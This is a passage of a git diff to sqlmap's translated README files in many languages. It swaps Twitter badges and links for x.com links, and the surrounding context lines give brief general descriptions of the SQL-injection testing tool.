[![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) sqlmap ist ein quelloffenes Penetrationstest Werkzeug, das die Entdeckung, Ausnutzung und Übernahme von SQL injection Schwachstellen automatisiert. Es kommt mit einer mächtigen Erkennungs-Engine, vielen Nischenfunktionen für den ultimativen Penetrationstester und einem breiten Spektrum an Funktionen von Datenbankerkennung, abrufen von Daten aus der Datenbank, zugreifen auf das unterliegende Dateisystem bis hin zur Befehlsausführung auf dem Betriebssystem mit Hilfe von out-of-band Verbindungen. @@ -44,6 +44,6 @@ Links * Problemverfolgung: https://github.com/sqlmapproject/sqlmap/issues * Benutzerhandbuch: https://github.com/sqlmapproject/sqlmap/wiki * Häufig gestellte Fragen (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ -* X: [@sqlmap](https://twitter.com/sqlmap) +* X: [@sqlmap](https://x.com/sqlmap) * Demonstrationen: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) * Screenshots: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots diff --git a/doc/translations/README-es-MX.md b/doc/translations/README-es-MX.md index 3b07133dfb5..4432ae85835 100644 --- a/doc/translations/README-es-MX.md +++ b/doc/translations/README-es-MX.md @@ -1,6 +1,6 @@ # sqlmap ![](https://i.imgur.com/fe85aVR.png) -[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap) +[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) sqlmap es una herramienta para pruebas de penetración "penetration testing" de software libre que automatiza el proceso de detección y explotación de fallos mediante inyección de SQL además de tomar el control de servidores de bases de datos. Contiene un poderoso motor de detección, así como muchas de las funcionalidades escenciales para el "pentester" y una amplia gama de opciones desde la recopilación de información para identificar el objetivo conocido como "fingerprinting" mediante la extracción de información de la base de datos, hasta el acceso al sistema de archivos subyacente para ejecutar comandos en el sistema operativo a través de conexiones alternativas conocidas como "Out-of-band". @@ -44,6 +44,6 @@ Enlaces * Seguimiento de problemas "Issue tracker": https://github.com/sqlmapproject/sqlmap/issues * Manual de usuario: https://github.com/sqlmapproject/sqlmap/wiki * Preguntas frecuentes (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ -* X: [@sqlmap](https://twitter.com/sqlmap) +* X: [@sqlmap](https://x.com/sqlmap) * Demostraciones: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) * Imágenes: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots diff --git a/doc/translations/README-fa-IR.md b/doc/translations/README-fa-IR.md index baff855a93f..e3d9daf604c 100644 --- a/doc/translations/README-fa-IR.md +++ b/doc/translations/README-fa-IR.md @@ -1,6 +1,6 @@ # sqlmap ![](https://i.imgur.com/fe85aVR.png) -[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap) +[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap)
@@ -79,6 +79,6 @@ * پیگیری مشکلات: https://github.com/sqlmapproject/sqlmap/issues * راهنمای کاربران: https://github.com/sqlmapproject/sqlmap/wiki * سوالات متداول: https://github.com/sqlmapproject/sqlmap/wiki/FAQ -* توییتر: [@sqlmap](https://twitter.com/sqlmap) +* توییتر: [@sqlmap](https://x.com/sqlmap) * رسانه: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) * تصاویر: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots diff --git a/doc/translations/README-fr-FR.md b/doc/translations/README-fr-FR.md index 9f355742135..964f7e1045a 100644 --- a/doc/translations/README-fr-FR.md +++ b/doc/translations/README-fr-FR.md @@ -1,6 +1,6 @@ # sqlmap ![](https://i.imgur.com/fe85aVR.png) -[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap) +[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) **sqlmap** est un outil Open Source de test d'intrusion. Cet outil permet d'automatiser le processus de détection et d'exploitation des failles d'injection SQL afin de prendre le contrôle des serveurs de base de données. __sqlmap__ dispose d'un puissant moteur de détection utilisant les techniques les plus récentes et les plus dévastatrices de tests d'intrusion comme L'Injection SQL, qui permet d'accéder à la base de données, au système de fichiers sous-jacent et permet aussi l'exécution des commandes sur le système d'exploitation. @@ -44,6 +44,6 @@ Liens * Suivi des issues: https://github.com/sqlmapproject/sqlmap/issues * Manuel de l'utilisateur: https://github.com/sqlmapproject/sqlmap/wiki * Foire aux questions (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ -* X: [@sqlmap](https://twitter.com/sqlmap) +* X: [@sqlmap](https://x.com/sqlmap) * Démonstrations: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) * Les captures d'écran: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots diff --git a/doc/translations/README-gr-GR.md b/doc/translations/README-gr-GR.md index d634b692af1..ede6340d1ce 100644 --- a/doc/translations/README-gr-GR.md +++ b/doc/translations/README-gr-GR.md @@ -1,6 +1,6 @@ # sqlmap ![](https://i.imgur.com/fe85aVR.png) -[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap) +[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) Το sqlmap είναι πρόγραμμα ανοιχτού κώδικα, που αυτοματοποιεί την εύρεση και εκμετάλλευση ευπαθειών τύπου SQL Injection σε βάσεις δεδομένων. Έρχεται με μια δυνατή μηχανή αναγνώρισης ευπαθειών, πολλά εξειδικευμένα χαρακτηριστικά για τον απόλυτο penetration tester όπως και με ένα μεγάλο εύρος επιλογών αρχίζοντας από την αναγνώριση της βάσης δεδομένων, κατέβασμα δεδομένων της βάσης, μέχρι και πρόσβαση στο βαθύτερο σύστημα αρχείων και εκτέλεση εντολών στο απευθείας στο λειτουργικό μέσω εκτός ζώνης συνδέσεων. @@ -45,6 +45,6 @@ * Προβλήματα: https://github.com/sqlmapproject/sqlmap/issues * Εγχειρίδιο Χρήστη: https://github.com/sqlmapproject/sqlmap/wiki * Συχνές Ερωτήσεις (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ -* X: [@sqlmap](https://twitter.com/sqlmap) +* X: [@sqlmap](https://x.com/sqlmap) * Demos: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) * Εικόνες: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots diff --git a/doc/translations/README-hr-HR.md b/doc/translations/README-hr-HR.md index 20c01315df4..dffab7062e6 100644 --- a/doc/translations/README-hr-HR.md +++ b/doc/translations/README-hr-HR.md @@ -1,6 +1,6 @@ # sqlmap ![](https://i.imgur.com/fe85aVR.png) -[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap) +[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) sqlmap je alat namijenjen za penetracijsko testiranje koji automatizira proces detekcije i eksploatacije sigurnosnih propusta SQL injekcije te preuzimanje poslužitelja baze podataka. Dolazi s moćnim mehanizmom za detekciju, mnoštvom korisnih opcija za napredno penetracijsko testiranje te široki spektar opcija od onih za prepoznavanja baze podataka, preko dohvaćanja podataka iz baze, do pristupa zahvaćenom datotečnom sustavu i izvršavanja komandi na operacijskom sustavu korištenjem tzv. "out-of-band" veza. @@ -45,6 +45,6 @@ Poveznice * Prijava problema: https://github.com/sqlmapproject/sqlmap/issues * Korisnički priručnik: https://github.com/sqlmapproject/sqlmap/wiki * Najčešće postavljena pitanja (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ -* X: [@sqlmap](https://twitter.com/sqlmap) +* X: [@sqlmap](https://x.com/sqlmap) * Demo: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) * Slike zaslona: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots diff --git a/doc/translations/README-id-ID.md b/doc/translations/README-id-ID.md index 864938b75f5..39ad3e58fb9 100644 --- a/doc/translations/README-id-ID.md +++ b/doc/translations/README-id-ID.md @@ -1,6 +1,6 @@ # sqlmap ![](https://i.imgur.com/fe85aVR.png) -[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap) +[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) sqlmap adalah perangkat lunak sumber terbuka yang digunakan untuk melakukan uji penetrasi, mengotomasi proses deteksi, eksploitasi kelemahan _SQL injection_ serta pengambil-alihan server basis data. @@ -48,6 +48,6 @@ Tautan * Pelacak Masalah: https://github.com/sqlmapproject/sqlmap/issues * Wiki Manual Penggunaan: https://github.com/sqlmapproject/sqlmap/wiki * Pertanyaan Yang Sering Ditanyakan (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ -* X: [@sqlmap](https://twitter.com/sqlmap) +* X: [@sqlmap](https://x.com/sqlmap) * Video Demo [#1](https://www.youtube.com/user/inquisb/videos) dan [#2](https://www.youtube.com/user/stamparm/videos) * Tangkapan Layar: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots diff --git a/doc/translations/README-in-HI.md b/doc/translations/README-in-HI.md index 623f1c7977e..c2d323bcc81 100644 --- a/doc/translations/README-in-HI.md +++ b/doc/translations/README-in-HI.md @@ -1,6 +1,6 @@ # sqlmap ![](https://i.imgur.com/fe85aVR.png) -[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap) +[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) sqlmap एक ओपन सोर्स प्रवेश परीक्षण उपकरण है जो SQL इन्जेक्शन दोषों की पहचान और उपयोग की प्रक्रिया को स्वचलित करता है और डेटाबेस सर्वरों को अधिकृत कर लेता है। इसके साथ एक शक्तिशाली पहचान इंजन, अंतिम प्रवेश परीक्षक के लिए कई निचले विशेषताएँ और डेटाबेस प्रिंट करने, डेटाबेस से डेटा निकालने, नीचे के फ़ाइल सिस्टम तक पहुँचने और आउट-ऑफ-बैंड कनेक्शन के माध्यम से ऑपरेटिंग सिस्टम पर कमांड चलाने के लिए कई बड़े रेंज के स्विच शामिल हैं। @@ -44,7 +44,7 @@ sqlmap [Python](https://www.python.org/download/) संस्करण **2.6**, * समस्या ट्रैकर: https://github.com/sqlmapproject/sqlmap/issues * उपयोगकर्ता मैन्युअल: https://github.com/sqlmapproject/sqlmap/wiki * अक्सर पूछे जाने वाले प्रश्न (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ -* ट्विटर: [@sqlmap](https://twitter.com/sqlmap) +* ट्विटर: [@sqlmap](https://x.com/sqlmap) * डेमो: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) * स्क्रीनशॉट: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots * diff --git a/doc/translations/README-it-IT.md b/doc/translations/README-it-IT.md index 007fcdb5de0..af10ee150cc 100644 --- a/doc/translations/README-it-IT.md +++ b/doc/translations/README-it-IT.md @@ -1,6 +1,6 @@ # sqlmap ![](https://i.imgur.com/fe85aVR.png) -[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap) +[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) sqlmap è uno strumento open source per il penetration testing. Il suo scopo è quello di rendere automatico il processo di scoperta ed exploit di vulnerabilità di tipo SQL injection al fine di compromettere database online. Dispone di un potente motore per la ricerca di vulnerabilità, molti strumenti di nicchia anche per il più esperto penetration tester ed un'ampia gamma di controlli che vanno dal fingerprinting di database allo scaricamento di dati, fino all'accesso al file system sottostante e l'esecuzione di comandi nel sistema operativo attraverso connessioni out-of-band. @@ -45,6 +45,6 @@ Link * Issue tracker: https://github.com/sqlmapproject/sqlmap/issues * Manuale dell'utente: https://github.com/sqlmapproject/sqlmap/wiki * Domande più frequenti (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ -* X: [@sqlmap](https://twitter.com/sqlmap) +* X: [@sqlmap](https://x.com/sqlmap) * Dimostrazioni: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) * Screenshot: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots diff --git a/doc/translations/README-ja-JP.md b/doc/translations/README-ja-JP.md index cf5388547e8..3cbc9ce999c 100644 --- a/doc/translations/README-ja-JP.md +++ b/doc/translations/README-ja-JP.md @@ -1,6 +1,6 @@ # sqlmap ![](https://i.imgur.com/fe85aVR.png) -[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap) +[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) sqlmapはオープンソースのペネトレーションテスティングツールです。SQLインジェクションの脆弱性の検出、活用、そしてデータベースサーバ奪取のプロセスを自動化します。 強力な検出エンジン、ペネトレーションテスターのための多くのニッチ機能、持続的なデータベースのフィンガープリンティングから、データベースのデータ取得やアウトオブバンド接続を介したオペレーティング・システム上でのコマンド実行、ファイルシステムへのアクセスなどの広範囲に及ぶスイッチを提供します。 @@ -46,6 +46,6 @@ sqlmapの概要、機能の一覧、全てのオプションやスイッチの * 課題管理: https://github.com/sqlmapproject/sqlmap/issues * ユーザーマニュアル: https://github.com/sqlmapproject/sqlmap/wiki * よくある質問 (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ -* X: [@sqlmap](https://twitter.com/sqlmap) +* X: [@sqlmap](https://x.com/sqlmap) * デモ: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) * スクリーンショット: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots diff --git a/doc/translations/README-ka-GE.md b/doc/translations/README-ka-GE.md index ccbad80ee23..9eb193d1d17 100644 --- a/doc/translations/README-ka-GE.md +++ b/doc/translations/README-ka-GE.md @@ -1,6 +1,6 @@ # sqlmap ![](https://i.imgur.com/fe85aVR.png) -[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap) +[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) sqlmap არის შეღწევადობის ტესტირებისათვის განკუთვილი ინსტრუმენტი, რომლის კოდიც ღიად არის ხელმისაწვდომი. ინსტრუმენტი ახდენს SQL-ინექციის სისუსტეების აღმოჩენისა, გამოყენების და მონაცემთა ბაზათა სერვერების დაუფლების პროცესების ავტომატიზაციას. იგი აღჭურვილია მძლავრი აღმომჩენი მექანიძმით, შეღწევადობის პროფესიონალი ტესტერისათვის შესაფერისი ბევრი ფუნქციით და სკრიპტების ფართო სპექტრით, რომლებიც შეიძლება გამოყენებულ იქნეს მრავალი მიზნით, მათ შორის: მონაცემთა ბაზიდან მონაცემების შეგროვებისათვის, ძირითად საფაილო სისტემაზე წვდომისათვის და out-of-band კავშირების გზით ოპერაციულ სისტემაში ბრძანებათა შესრულებისათვის. @@ -44,6 +44,6 @@ sqlmap ნებისმიერ პლატფორმაზე მუშ * პრობლემებისათვის თვალყურის დევნება: https://github.com/sqlmapproject/sqlmap/issues * მომხმარებლის სახელმძღვანელო: https://github.com/sqlmapproject/sqlmap/wiki * ხშირად დასმული კითხვები (ხდკ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ -* X: [@sqlmap](https://twitter.com/sqlmap) +* X: [@sqlmap](https://x.com/sqlmap) * დემონსტრაციები: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) * ეკრანის ანაბეჭდები: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots diff --git a/doc/translations/README-ko-KR.md b/doc/translations/README-ko-KR.md index 229c112f623..dd508732dde 100644 --- a/doc/translations/README-ko-KR.md +++ b/doc/translations/README-ko-KR.md @@ -1,6 +1,6 @@ # sqlmap ![](https://i.imgur.com/fe85aVR.png) -[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap) +[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) sqlmap은 SQL 인젝션 결함 탐지 및 활용, 데이터베이스 서버 장악 프로세스를 자동화 하는 오픈소스 침투 테스팅 도구입니다. 최고의 침투 테스터, 데이터베이스 핑거프린팅 부터 데이터베이스 데이터 읽기, 대역 외 연결을 통한 기반 파일 시스템 접근 및 명령어 실행에 걸치는 광범위한 스위치들을 위한 강력한 탐지 엔진과 다수의 편리한 기능이 탑재되어 있습니다. @@ -45,6 +45,6 @@ sqlmap의 능력, 지원되는 기능과 모든 옵션과 스위치들의 목록 * Issue tracker: https://github.com/sqlmapproject/sqlmap/issues * 사용자 매뉴얼: https://github.com/sqlmapproject/sqlmap/wiki * 자주 묻는 질문 (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ -* 트위터: [@sqlmap](https://twitter.com/sqlmap) +* 트위터: [@sqlmap](https://x.com/sqlmap) * 시연 영상: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) * 스크린샷: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots diff --git a/doc/translations/README-nl-NL.md b/doc/translations/README-nl-NL.md index e419044bac1..03c4dff3ef9 100644 --- a/doc/translations/README-nl-NL.md +++ b/doc/translations/README-nl-NL.md @@ -1,6 +1,6 @@ # sqlmap ![](https://i.imgur.com/fe85aVR.png) -[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap) +[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) sqlmap is een open source penetratie test tool dat het proces automatiseert van het detecteren en exploiteren van SQL injectie fouten en het overnemen van database servers. Het wordt geleverd met een krachtige detectie-engine, vele niche-functies voor de ultieme penetratietester, en een breed scala aan switches, waaronder database fingerprinting, het overhalen van gegevens uit de database, toegang tot het onderliggende bestandssysteem, en het uitvoeren van commando's op het besturingssysteem via out-of-band verbindingen. @@ -45,6 +45,6 @@ Links * Probleem tracker: https://github.com/sqlmapproject/sqlmap/issues * Gebruikers handleiding: https://github.com/sqlmapproject/sqlmap/wiki * Vaak gestelde vragen (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ -* X: [@sqlmap](https://twitter.com/sqlmap) +* X: [@sqlmap](https://x.com/sqlmap) * Demos: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) * Screenshots: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots diff --git a/doc/translations/README-pl-PL.md b/doc/translations/README-pl-PL.md index e8709ae4eb5..00fdf7b43b9 100644 --- a/doc/translations/README-pl-PL.md +++ b/doc/translations/README-pl-PL.md @@ -1,6 +1,6 @@ # sqlmap ![](https://i.imgur.com/fe85aVR.png) -[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap) 